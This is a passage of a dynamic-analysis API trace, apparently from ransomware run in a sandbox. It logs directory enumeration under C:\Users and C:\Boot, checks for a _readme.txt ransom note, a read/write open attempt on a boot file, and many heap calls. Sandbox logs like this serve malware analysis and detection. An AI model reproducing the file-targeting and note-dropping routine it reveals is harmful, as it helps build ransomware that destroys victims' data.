ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1 [0059.494] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0059.495] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0059.495] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0059.495] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0059.495] PathFindExtensionW (pszPath="C:\\Users\\desktop.ini") returned=".ini" [0059.495] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4828 | out: hHeap=0x670000) returned 1 [0059.495] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0059.495] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0 [0059.495] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.495] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5518 | out: hHeap=0x670000) returned 1 [0059.495] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.495] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.495] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.495] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4780 | out: hHeap=0x670000) returned 1 [0059.495] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5900 | out: hHeap=0x670000) returned 1 [0059.495] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.495] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018118 | out: hHeap=0x670000) returned 1 [0059.495] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e58d8 | out: hHeap=0x670000) returned 1 [0059.495] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5720 | out: hHeap=0x670000) returned 1 [0059.495] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d47f0 | out: hHeap=0x670000) returned 1 [0059.495] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4748 | out: hHeap=0x670000) returned 1 [0059.496] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5798 | out: hHeap=0x670000) returned 1 [0059.496] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.496] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30181a8 | out: hHeap=0x670000) returned 1 [0059.496] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.496] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.496] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5478 | out: hHeap=0x670000) returned 1 [0059.496] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d39c8 | out: hHeap=0x670000) returned 1 [0059.496] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.496] PathFindFileNameW (pszPath="C:\\Boot\\cs-CZ\\") returned="cs-CZ\\" [0059.496] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.496] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.496] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.496] PathFindFileNameW (pszPath="") returned="" [0059.496] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.497] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.497] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.497] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.497] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.497] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.497] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.497] PathAppendW (in: pszPath="C:\\Boot\\cs-CZ\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 1 [0059.497] PathFileExistsW (pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 1 [0059.497] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.497] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13a595b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a595b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.497] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.497] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13a595b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a595b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.497] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.497] PathFindExtensionW (pszPath="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned=".mui" [0059.497] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.498] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018118 | out: hHeap=0x670000) returned 1 [0059.498] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13a595b0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13a595b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a595b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.498] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.498] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018118 [0059.498] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.498] PathFindExtensionW (pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned=".txt" [0059.498] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018118 | out: hHeap=0x670000) returned 1 [0059.498] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13a595b0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13a595b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a595b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.498] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.498] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.498] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5478 | out: hHeap=0x670000) returned 1 [0059.498] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.498] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5478 [0059.498] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.498] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.498] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.498] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.498] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.498] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.498] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.498] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.498] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.498] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.498] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.498] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.498] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.498] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.498] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.498] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.499] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.499] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.499] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.499] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.499] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.499] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.499] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.499] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.499] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.499] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.499] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.499] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.499] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.499] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.499] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.499] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.499] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.499] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.499] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.499] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.499] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.499] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.499] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.499] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.499] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.499] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.499] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.499] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.499] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.499] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.500] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.500] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.500] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.500] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.500] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.500] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.500] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.500] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.500] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.500] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.500] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.500] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.500] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.500] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.500] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.500] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.500] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.500] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.500] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.500] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.500] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.500] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.500] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.500] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.500] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.500] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.500] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.500] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.500] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.500] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.500] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.501] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.501] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.501] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.501] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.501] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.501] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.501] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.501] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.501] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.501] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.501] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.501] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.501] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.501] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.501] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.501] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.501] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.501] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.501] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.501] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.501] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.501] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.501] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.501] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.501] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.501] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.501] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.501] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.501] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.501] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.501] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.501] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.502] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.502] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.502] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.502] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.502] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.502] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.502] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.502] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.502] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.502] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.502] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.502] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.502] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.502] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.502] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.502] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.502] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.502] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.502] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.502] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.502] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.502] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.502] HeapFree (in: hHeap=0x670000, dwFlags=0x0, 